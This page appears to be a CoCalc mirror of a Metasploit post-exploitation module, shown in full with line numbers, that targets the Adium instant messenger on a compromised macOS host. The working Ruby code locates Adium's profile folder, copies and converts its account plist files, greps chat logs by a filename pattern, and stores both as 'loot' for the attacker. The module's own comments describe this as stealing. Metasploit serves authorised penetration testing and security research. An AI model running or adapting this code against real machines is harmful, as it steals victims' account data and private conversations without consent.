Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/osx/gather/enum_adium.rb
19850 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
include Msf::Post::File
8
include Msf::Auxiliary::Report
9
10
def initialize(info = {})
11
super(
12
update_info(
13
info,
14
'Name' => 'OS X Gather Adium Enumeration',
15
'Description' => %q{
16
This module will collect Adium's account plist files and chat logs from the
17
victim's machine. There are three different actions you may choose: ACCOUNTS,
18
CHATS, and ALL. Note that to use the 'CHATS' action, make sure you set the regex
19
'PATTERN' option in order to look for certain log names (which consists of a
20
contact's name, and a timestamp). The current 'PATTERN' option is configured to
21
look for any log created on February 2012 as an example. To loot both account
22
plists and chat logs, simply set the action to 'ALL'.
23
},
24
'License' => MSF_LICENSE,
25
'Author' => [ 'sinn3r'],
26
'Platform' => [ 'osx' ],
27
'SessionTypes' => [ 'meterpreter', 'shell' ],
28
'Actions' => [
29
['ACCOUNTS', { 'Description' => 'Collect account-related plists' } ],
30
['CHATS', { 'Description' => 'Collect chat logs with a pattern' } ],
31
['ALL', { 'Description' => 'Collect both account plists and chat logs' }]
32
],
33
'DefaultAction' => 'ALL',
34
'Notes' => {
35
'Stability' => [CRASH_SAFE],
36
'SideEffects' => [ARTIFACTS_ON_DISK],
37
'Reliability' => []
38
}
39
)
40
)
41
42
register_options(
43
[
44
OptRegexp.new('PATTERN', [true, 'Match a keyword in any chat log\'s filename', '\(2012\-02\-.+\)\.xml$']),
45
]
46
)
47
end
48
49
#
50
# Parse a plst file to XML format:
51
# https://web.archive.org/web/20141112034745/http://hints.macworld.com/article.php?story=20050430105126392
52
#
53
def plutil(filename)
54
exec("plutil -convert xml1 #{filename}")
55
exec("cat #{filename}")
56
end
57
58
#
59
# Collect logs files.
60
# Enumerate all the xml files (logs), filter out the ones we want, and then
61
# save each in a hash.
62
#
63
def get_chatlogs(base)
64
base = "#{base}Logs/"
65
66
#
67
# Find all the chat folders for all the victim's contacts and groups
68
#
69
print_status("#{@peer} - Gathering folders for chatlogs...")
70
targets = []
71
dir(base).each do |account|
72
dir("#{base}#{account}/").each do |contact|
73
# Use 'find' to enumerate all the xml files
74
base_path = "#{base}#{account}/#{contact}"
75
logs = exec("find #{base_path} -name *.xml").split("\n")
76
next if logs =~ /No such file or directory/
77
78
# Filter out logs
79
filtered_logs = []
80
logs.each do |log|
81
next unless log =~ datastore['PATTERN']
82
83
# For debugging purposes, we print all the matches
84
vprint_status("Match: #{log}")
85
filtered_logs << log
86
end
87
88
targets << {
89
account: account,
90
contact: contact,
91
log_paths: filtered_logs
92
}
93
end
94
end
95
96
#
97
# Save all the logs to a folder
98
#
99
logs = []
100
targets.each do |target|
101
log_size = target[:log_paths].length
102
contact = target[:contact]
103
account = target[:account]
104
105
# Nothing was actually downloaded, skip this one
106
next if log_size == 0
107
108
print_status("#{@peer} - Looting #{log_size} chats with #{contact} (#{account})")
109
target[:log_paths].each do |log|
110
log = "\"#{log}\""
111
data = exec("cat #{log}")
112
logs << {
113
account: account,
114
contact: contact,
115
data: data
116
}
117
# break
118
end
119
end
120
121
return logs
122
end
123
124
#
125
# Get AccountPrefs.plist, Accounts.plist, AccountPrefs.plist.
126
# Return: [ {:filename=> String, :data => String} ]
127
#
128
def get_account_info(base)
129
files = [ 'Account\\ Status.plist', 'Accounts.plist', 'AccountPrefs.plist' ]
130
loot = []
131
132
files.each do |file|
133
#
134
# Make a copy of the file we want to convert and steal
135
#
136
fpath = "#{base}#{file}"
137
rand_name = "/tmp/#{Rex::Text.rand_text_alpha(5)}"
138
tmp = exec("cp #{fpath} #{rand_name}")
139
140
if tmp =~ /No such file or directory/
141
print_error("#{@peer} - Not found: #{fpath}")
142
next
143
end
144
145
#
146
# Convert plist to xml
147
#
148
print_status("#{@peer} - Parsing: #{file}")
149
xml = plutil(rand_name)
150
151
#
152
# Save data, and then clean up
153
#
154
if xml.empty?
155
print_error("#{@peer} - Unable to parse: #{file}")
156
else
157
loot << { filename: file, data: xml }
158
exec("rm #{rand_name}")
159
end
160
end
161
162
return loot
163
end
164
165
#
166
# Do a store_root on all the data collected.
167
#
168
def save(type, data)
169
case type
170
when :account
171
data.each do |e|
172
e[:filename] = e[:filename].gsub(/\\ /, '_')
173
p = store_loot(
174
'adium.account.config',
175
'text/plain',
176
session,
177
e[:data],
178
e[:filename]
179
)
180
181
print_good("#{@peer} - #{e[:filename]} stored as: #{p}")
182
end
183
184
when :chatlogs
185
data.each do |e|
186
account = e[:account]
187
contact = e[:contact]
188
data = e[:data]
189
190
p = store_loot(
191
'adium.chatlog',
192
'text/plain',
193
session,
194
data,
195
contact
196
)
197
198
print_good("#{@peer} - #{contact}'s (#{account}) chat log stored as: #{p}")
199
end
200
201
end
202
end
203
204
#
205
# Get current username
206
#
207
def whoami
208
exec('/usr/bin/whoami')
209
end
210
211
#
212
# Return an array or directory names
213
#
214
def dir(path)
215
subdirs = exec("ls -l #{path}")
216
return [] if subdirs =~ /No such file or directory/
217
218
items = subdirs.scan(/[A-Z][a-z][a-z]\x20+\d+\x20[\d:]+\x20(.+)$/).flatten
219
return items
220
end
221
222
#
223
# This is just a wrapper for cmd_exec(), except it chomp() the output,
224
# and retry under certain conditions.
225
#
226
def exec(cmd)
227
cmd_exec(cmd).chomp
228
rescue ::Timeout::Error => e
229
vprint_error("#{@peer} - #{e.message} - retrying...")
230
retry
231
rescue EOFError => e
232
vprint_error("#{@peer} - #{e.message} - retrying...")
233
retry
234
end
235
236
#
237
# We're not sure the exact name of the folder becuase it contains a version number.
238
# We'll just check every folder name, and whichever contains the word "Adium",
239
# that's the one we'll use.
240
#
241
def locate_adium(base)
242
dir(base).each do |folder|
243
m = folder.match(/(Adium \d+\.\d+)$/)
244
if m
245
m = m[0].gsub(/\x20/, '\\\\ ') + '/'
246
return "#{base}#{m}"
247
end
248
end
249
250
return nil
251
end
252
253
def run
254
#
255
# Make sure there's an action name before we do anything
256
#
257
if action.nil?
258
print_error('Please specify an action')
259
return
260
end
261
262
@peer = "#{session.session_host}:#{session.session_port}"
263
user = whoami
264
265
#
266
# Check adium. And then set the default profile path
267
# Example: /Users/[username]/Library/Application Support/Adium 2.0/
268
#
269
base = "/Users/#{user}/Library/Application\\ Support/"
270
adium_path = locate_adium(base)
271
unless adium_path
272
print_error("#{@peer} - Unable to find adium, will not continue")
273
return
274
end
275
276
print_status("#{@peer} - Found adium: #{adium_path}")
277
adium_path += 'Users/Default/'
278
279
#
280
# Now that adium is found, let's download some stuff
281
#
282
account_data = get_account_info(adium_path) if action.name =~ /ALL|ACCOUNTS/i
283
chatlogs = get_chatlogs(adium_path) if action.name =~ /ALL|CHATS/i
284
285
#
286
# Store what we found on disk
287
#
288
save(:account, account_data) if !account_data.nil? && !account_data.empty?
289
save(:chatlogs, chatlogs) if !chatlogs.nil? && !chatlogs.empty?
290
end
291
end
292
293